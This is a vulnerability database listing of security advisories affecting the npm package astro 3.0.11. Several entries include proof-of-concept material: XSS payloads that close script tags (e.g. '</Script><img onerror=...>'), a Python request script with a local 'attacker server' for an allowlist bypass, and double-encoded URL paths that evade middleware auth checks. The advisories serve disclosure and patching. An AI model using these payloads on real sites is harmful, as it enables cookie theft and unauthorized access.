Search for packages
| purl | pkg:npm/astro@3.0.11 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-4nsb-h2qe-tug9
Aliases: CVE-2025-64757 GHSA-x3h8-62x9-952g |
Astro Development Server has Arbitrary Local File Read A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. |
Affected by 8 other vulnerabilities. |
|
VCID-892m-k58t-tfg9
Aliases: CVE-2024-47885 GHSA-m85w-3h95-hcf9 |
DOM Clobbering Gadget found in astro's client-side router that leads to XSS A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has *stored* attacker-controlled scriptless HTML elements (i.e., `iframe` tags with unsanitized `name` attributes) on the destination pages. |
Affected by 12 other vulnerabilities. |
|
VCID-8x71-29mv-2qfp
Aliases: CVE-2024-56140 GHSA-c4pw-33h3-35xw |
Atro CSRF Middleware Bypass (security.checkOrigin) A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks. |
Affected by 11 other vulnerabilities. |
|
VCID-a19r-4mhu-syhd
Aliases: CVE-2026-41067 GHSA-j687-52p2-xcff |
Astro: XSS in define:vars via incomplete </script> tag sanitization ## Summary The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript. ## Details The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); } ``` This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`: ```typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; } ``` The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody): 1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag. 2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`. `JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged. **Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed. ## PoC **Step 1:** Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html> ``` **Step 2:** Ensure SSR is enabled in `astro.config.mjs`: ```js export default defineConfig({ output: 'server' }); ``` **Step 3:** Start the dev server and visit: ``` http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)> ``` **Step 4:** View the HTML source. The output contains: ```html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script> ``` The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes. **Alternative bypass payloads:** ``` /?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)> ``` ## Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro. Exploitation enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Credential theft** by injecting fake login forms or keyloggers - **Defacement** of the rendered page - **Redirection** to attacker-controlled domains The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable. ## Recommended Fix Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); } ``` This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms. |
Affected by 0 other vulnerabilities. |
|
VCID-gmum-ebwt-f3at
Aliases: CVE-2025-65019 GHSA-fvmw-cj7j-j39q |
Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint **Summary** A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the **@astrojs/cloudflare** adapter with `output: 'server'`. The built-in image optimization endpoint (`/_image`) uses `isRemoteAllowed()` from Astro’s internal helpers, which **unconditionally allows `data:` URLs**. When the endpoint receives a valid `data:` URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a **302 redirect back to the original `data:` URL**, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (`image.domains` / `image.remotePatterns`) and typical Content Security Policy mitigations. **Affected Versions** - `@astrojs/cloudflare` ≤ 12.6.10 (and likely all previous versions) - Astro ≥ 4.x when used with `output: 'server'` and the Cloudflare adapter **Root Cause – Vulnerable Code** File: `node_modules/@astrojs/internal-helpers/src/remote.ts` ```ts export function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src); // Data URLs are always allowed if (url.protocol === 'data:') { return true; } // Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks } ``` In the **Cloudflare adapter**, the `/_image` endpoint contains logic similar to: ```ts const href = ctx.url.searchParams.get('href'); if (!href) { // return error } if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } } ``` Because `data:` URLs are considered “allowed”, a request such as: `https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)` triggers a **302 redirect directly to the `data:` URL**, causing the browser to render and execute the malicious JavaScript inside the SVG. **Proof of Concept (PoC)** 1. Create a minimal Astro project with Cloudflare adapter (`output: 'server'`). 2. Deploy to Cloudflare Pages or Workers. 3. Request the image endpoint with the following payload: |
Affected by 2 other vulnerabilities. |
|
VCID-j5k1-5dfe-8udj
Aliases: CVE-2025-64525 GHSA-hr2q-hp5q-x767 |
Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass In impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are: - Middleware-based protected route bypass (only via `x-forwarded-proto`) - DoS via cache poisoning (if a CDN is present) - SSRF (only via `x-forwarded-proto`) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass |
Affected by 7 other vulnerabilities. |
|
VCID-jcqr-tk29-xbat
Aliases: CVE-2026-33769 GHSA-g735-7g2w-hh3f |
Astro: Remote allowlist bypass via unanchored matchPathname wildcard ## Summary This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass. ## Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix. ## Description Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()` User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56 ```ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); } ``` `isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21 ```ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); } ``` The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99 ```ts } else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; } ``` **Vulnerable code flow:** 1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL. 2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path. 3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource. ## PoC The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed. ### Vulnerable config ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, }); ``` ### Affected pages This PoC targets the `/_image` endpoint directly; no additional pages are required. ### PoC Code ```python import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") # Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2)) ``` ### Attacker server ```python from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever() ``` ### PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload. |
Affected by 1 other vulnerability. |
|
VCID-k4f1-y5qy-9ka4
Aliases: CVE-2025-66202 GHSA-whqg-ppgf-wp8c |
Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765 A **double URL encoding bypass** allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like `/%2561dmin` instead of `/%61dmin`, attackers can still bypass authentication and access protected resources such as `/admin`, `/api/internal`, or any route protected by middleware pathname checks. |
Affected by 3 other vulnerabilities. |
|
VCID-qcs7-nt67-7qe5
Aliases: CVE-2025-55303 GHSA-xf8x-j4p2-f749 |
Astro allows unauthorized third-party images in _image endpoint In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. |
Affected by 9 other vulnerabilities. Affected by 10 other vulnerabilities. |
|
VCID-qt1f-1dkr-y3gs
Aliases: CVE-2024-56159 GHSA-49w6-73cw-chjr |
Astro's server source code is exposed to the public if sourcemaps are enabled A bug in the build process allows any unauthenticated user to read parts of the server source code. |
Affected by 10 other vulnerabilities. Affected by 10 other vulnerabilities. |
|
VCID-rjus-p7ga-fugs
Aliases: CVE-2025-64765 GHSA-ggxq-hp9w-j794 |
Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies `decodeURI()` to determine which route to render, while the middleware uses `context.url.pathname` without applying the same normalization (decodeURI). This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks. |
Affected by 3 other vulnerabilities. |
|
VCID-w3zj-e7u2-2fh1
Aliases: CVE-2025-61925 GHSA-5ff5-9fcw-vg88 |
Astro's `X-Forwarded-Host` is reflected without validation When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe. |
Affected by 8 other vulnerabilities. |
|
VCID-wvqv-3kwm-1uba
Aliases: CVE-2025-64764 GHSA-wrwg-2hg8-v723 |
Astro vulnerable to reflected XSS via the server islands feature After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, **regardless of what was intended by the component template(s)**. |
Affected by 3 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||